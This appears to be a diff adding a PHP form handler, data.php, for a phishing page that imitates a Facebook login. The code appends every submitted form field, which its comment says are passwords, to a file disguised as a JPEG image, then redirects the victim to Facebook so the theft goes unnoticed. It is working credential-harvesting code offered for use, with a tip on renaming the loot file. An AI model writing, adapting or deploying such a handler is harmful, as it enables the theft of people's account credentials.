action=data.php

The handling file after the user posts the form.

data.php

@@ -0,0 +1,14 @@
+
+<?php
+header ('Location: https://facebook.com/me'); //Redirect user.
+$handle = fopen("notinawordlist1337.jpg", "a"); //You can rename the file you want to save the passwords.
+foreach($_POST as $variable => $value) {
+fwrite($handle, $variable);
+fwrite($handle, "=");
+fwrite($handle, $value);
+fwrite($handle, "\r\n");
+}
+fwrite($handle, "\r\n");
+fclose($handle);
+exit;
+?>